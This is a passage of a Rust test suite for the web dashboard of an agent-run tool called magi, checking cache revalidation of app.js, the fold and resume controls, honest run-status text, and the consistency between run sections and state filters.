11043 view2["latest_attempt"]["resolved"], false,
11044 "an unverified no-op claim must not read as a confirmed finish"
11045 );
11046
11047 assert!(APP_JS.contains("latest.resolved"));
11050 }
11051
11052 #[tokio::test]
11053 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
11054 let fx = Fixture::start().await;
11055 let js = fx.get("/app.js").await;
11061 assert_eq!(js.status, 200);
11062 let tag = js
11063 .header("etag")
11064 .expect("an etag to revalidate against")
11065 .to_owned();
11066 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
11067 assert_eq!(
11068 js.header("cache-control"),
11069 Some("no-cache, must-revalidate"),
11070 "the phone has to ask every time"
11071 );
11072
11073 let again = fx
11076 .get_with("/app.js", &[("if-none-match", tag.as_str())])
11077 .await;
11078 assert_eq!(
11079 again.status, 304,
11080 "a deck it already has costs one round trip"
11081 );
11082 assert!(again.body.is_empty(), "304 carries no body");
11083
11084 let weak = fx
11087 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
11088 .await;
11089 assert_eq!(weak.status, 304);
11090 let stale = fx
11091 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
11092 .await;
11093 assert_eq!(stale.status, 200, "an older build must be replaced");
11094 assert!(stale.body.contains("renderRunActions"));
11095 }
11096
11097 #[test]
11098 fn the_deck_never_sends_the_operator_to_a_terminal() {
11099 assert!(
11102 !APP_JS.contains("Run `magi fold` first"),
11103 "the deck must offer the fold, not prescribe a shell command"
11104 );
11105 assert!(APP_JS.contains("foldRun:"));
11106 assert!(APP_JS.contains("resumeRun:"));
11107 assert!(APP_JS.contains("renderRunActions"));
11108
11109 assert!(APP_JS.contains("armedFold"));
11111 assert!(APP_JS.contains("Yes, fold worktrees"));
11112
11113 assert!(APP_JS.contains("can no longer be resumed"));
11116 }
11117
11118 #[test]
11119 fn a_finished_run_explains_itself_with_its_own_last_line() {
11120 assert!(
11126 !APP_JS.contains("collapsed on agent quota"),
11127 "a stall must not be explained by a cause the deck did not check"
11128 );
11129 assert!(
11130 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
11131 "and a block must not offer a guess with an `or` in it"
11132 );
11133
11134 assert!(
11138 APP_JS.contains("setText(r.event, run.event || \"\")"),
11139 "the run's last line is rendered unconditionally"
11140 );
11141 assert!(
11142 !APP_JS.contains("moving && run.event"),
11143 "and never gated on the run still moving"
11144 );
11145
11146 assert!(APP_JS.contains("lost to quota"));
11148 }
11149
11150 #[test]
11172 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
11173 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
11174 let shapes_body_start =
11175 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
11176 let shapes_close = APP_JS[shapes_body_start..]
11177 .find("].map(")
11178 .expect("the shape list is closed by its done-computing .map(...)")
11179 + shapes_body_start;
11180 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
11181
11182 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
11183 for entry in shapes_src.split('{').skip(1) {
11184 let waiting = entry.contains("waiting: true");
11185 let dead = entry.contains("live: \"dead\"");
11186 let status_at =
11187 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
11188 let status_end = entry[status_at..]
11189 .find('"')
11190 .expect("the status string is closed")
11191 + status_at;
11192 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
11193 }
11194 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
11195
11196 let done_rule_marker = "done: !";
11200 let done_rule_at = APP_JS[shapes_close..]
11201 .find(done_rule_marker)
11202 .expect("the done rule follows the shape list")
11203 + shapes_close
11204 + done_rule_marker.len();
11205 let includes_at = APP_JS[done_rule_at..]
11206 .find(".includes(shape.status)")
11207 .expect("the done rule ends in .includes(shape.status)")
11208 + done_rule_at;
11209 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
11210 .trim()
11211 .trim_start_matches('[')
11212 .trim_end_matches(']')
11213 .split(',')
11214 .map(|s| s.trim().trim_matches('"'))
11215 .filter(|s| !s.is_empty())
11216 .collect();
11217
11218 let shapes: Vec<(bool, String, bool, bool)> = shapes
11219 .into_iter()
11220 .map(|(waiting, status, dead)| {
11221 let done = !not_done.contains(&status.as_str());
11222 (waiting, status, dead, done)
11223 })
11224 .collect();
11225
11226 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
11230 if waiting {
11231 return "waiting";
11232 }
11233 if dead
11234 && !matches!(
11235 status,
11236 "merged"
11237 | "ready"
11238 | "stalled"
11239 | "blocked"
11240 | "failed"
11241 | "verified_noop"
11242 | "superseded"
11243 )
11244 {
11245 return "stale";
11246 }
11247 match status {
11248 "merged" | "ready" => "landed",
11249 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded" => "ended",
11250 _ => "flight",
11251 }
11252 }
11253
11254 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
11257 match filter_key {
11258 "active" => !done,
11259 "flight" => !done && !waiting && !dead,
11260 "stale" => !done && !waiting && dead,
11261 "waiting" => waiting,
11262 "done" => done,
11263 "all" => true,
11264 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
11265 }
11266 }
11267
11268 let compatible = |section: &str, filter_key: &str| {
11269 shapes.iter().any(|(waiting, status, dead, done)| {
11270 run_section(*waiting, status, *dead) == section
11271 && filter_matches(filter_key, *waiting, *dead, *done)
11272 })
11273 };
11274
11275 let expected = [
11280 ("waiting", [true, false, false, true, true, true]),
11281 ("stale", [true, false, true, false, false, true]),
11282 ("flight", [true, true, false, false, false, true]),
11283 ("landed", [false, false, false, false, true, true]),
11284 ("ended", [false, false, false, false, true, true]),
11285 ];
11286 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
11287
11288 for (section, wants) in expected {
11289 for (filter_key, want) in filter_keys.iter().zip(wants) {
11290 assert_eq!(
11291 compatible(section, filter_key),
11292 want,
11293 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
11294 );
11295 }
11296 }
11297
11298 assert!(
11301 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
11302 );
11303 assert!(APP_JS.contains(
11304 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
11305 ));
11306 assert!(APP_JS.contains(
11307 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
11308 ));
11309 }
11310
11311 #[tokio::test]
11312 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
11313 let dir = tempfile::tempdir().expect("tempdir");
11317 let explicit = dir.path().join("not-a-checkout");
11318 std::fs::create_dir_all(&explicit).expect("create dir");
11319 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
11320
11321 let missing = dir.path().join("does-not-exist-at-all");
11322 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
11323 }
11324}